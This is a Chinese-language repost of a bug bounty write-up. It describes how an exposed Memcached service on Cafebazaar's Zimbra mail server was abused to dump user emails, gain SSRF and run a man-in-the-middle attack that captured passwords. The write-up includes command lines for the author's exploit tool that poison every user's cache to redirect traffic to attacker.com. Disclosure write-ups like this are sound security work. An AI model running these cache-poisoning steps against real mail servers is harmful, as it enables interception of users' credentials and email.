黑客视频教程限时免费订阅
扫码免费看
这篇文章是关于作者和他的朋友如何从Cafebazaar bug赏金计划中获得约2500美元奖励的故事。
一.
侦察阶段
在侦察阶段,作者枚举了mailx.hezardastan.net的主机,
即Cafebazaar的网络邮件访问入口。随后扫描了端口,结果如下:
开了很多端口,其中,Memcached的11211端口发现异常。
经过一些基本测试,结果表明:
-
1.无需认证即可与11211端口通信
-
2.电子邮件地址由Zimbra保存在缓存中
-
3.具有添加/修改/删除缓存数据的能力
-
4.有进行DDOS攻击的能力
-
但是,作者一直在寻找更危险的东西,比如文件泄露,远程命令执行等。
二.
攻击Zimbra
Zimbra源代码(http://suo.im/5DfuGW)
Zimbra将通信协议方案、用户名和后端服务器IP地址保存在Memcached中。在这之前,使用Metasploit中的memcached_extractor模块进行了数据提取(可以手动完成):
可见结果中跑出很多邮件地址(标红部分),作者可以利用这些电子邮件地址进行网络钓鱼或暴力攻击。但是,作者对漏洞利用仍然不满意。(可傲娇了)
首先看一下Zimbra的工作流程:
-
1.用户通过其凭据进行身份验证
-
2.服务器将用户名和后端服务器URL保存在缓存中
-
3.用户使用Zimbra
-
4.服务器从缓存中检索后端URL
-
5.服务器与检索到的URL以及用户数据通信
下面举例说明Zimbra是如何将数据保存在缓存中:
route:proto = imapssl;user= [REDUCTED] @ cafebazaar.ir 127.0.0.1:7993
route:proto = pop3ssl; user = [REDUCTED] @ cafebazaar.cloud 127.0.0.1:7995
route:proto = httpssl; user = [REDUCTED ] @ cafebazaar.ir 127.0.0.1:8443
格式为:
route:proto = [UserProtocol]; user =EmailAddressOrID
支持的协议:
IMAPSSL 127.0.0.1:7993
POP3SSL 127.0.0.1:7995
HTTPSSL(HTTPS)127.0.0.1:8443
考虑到我们可以通过互联网访问后端服务器:
IMAPSSL mailx.hezardastan.net:7993
POP3SSL mailx.hezardastan.net:7995
HTTPSSL(HTTPS)mailx.hezardastan.net:8443
作者设计了一种攻击场景,剩余部分将进行介绍。
三.
发现SSRF漏洞
该场景是针对SSRF测试服务器。攻击场景是将后端服务器IP地址更改为任意地址(攻击者的服务器),以便重定向服务器流量。
测试SSRF的步骤:
-
1.通过自签名SSL证书在某个端口上建立SSL侦听器
-
2.更改用户的缓存以重定向流量
通过更改缓存,建立起了一个来自maix.hezardastan.net的连接,如下图。
SSRF已实现:)
四.
中间人攻击
中间人攻击的主要目的是在邮件服务器正常工作时窃取用户信息(包括凭据,电子邮件等)。
为了不影响用户正常使用功能,我们不得不把流量重定向回服务器。
考虑到后端开放端口都可以从互联网访问得到,我们可以实现这个中间人攻击场景。
MITM场景:
-
1.用户登录到其帐户后,后端服务器IP被保存在缓存中
-
2.攻击者将后端信息更改为他的IP地址
-
3.Zimbra的流量被重定向到攻击者的服务器上
-
4.攻击者卸载SSL并提取信息(主要是凭证信息等)
-
5.攻击者与后端端口建立SSL连接(这些端口是打开的)
-
6.对用户进行攻击后,攻击者会将缓存恢复为默认值。
作者编写了一个利用代码,其中包含以下几部分:
1.提取已经登录的电子邮件地址
python HezarSploit.py -m dumpusers
2.伪造IMAPSSL服务器与客户端进行通信
python HezarSploit.py -m mitm --port 4444
将凭证转储到credentials.txt中。
3.修改所有已登录用户(或某个用户)的缓存
python HezarSploit.py -m poisoning --user all --ip attacker.com --port 4444
4.将缓存更改为默认值
python HezarSploit.py -m reset
综合起来,那就是:
在服务器中:
python HezarSploit.py -m mitm --port 4444
在本地命令行中:
python HezarSploit.py -m poisoning --user all --ip attacker.com --port 4444
结果如下图:
作者几乎以纯文本形式获得了所有用户的密码。
样本如下:
五.
最后
作者报告了该漏洞,响应很迅速,并在不到一个小时的时间内修复了该漏洞。
几天后,他们给了作者约2.5k的赏金。希望这篇文章对你们有所帮助。
转自:https://0x9.me/NDxRJ
黑客视频教程录播+进内部群+黑客工具+攻防靶场
扫下方二维码直接领各资料
扫码免费领资料
(正在为你配置合适的助教)
往期内容回顾
原文始发于微信公众号(白帽子左一):渗透实战!获取2500刀赏金的全过程
- 左青龙
- 微信扫一扫
-
- 右白虎
- 微信扫一扫
-
评论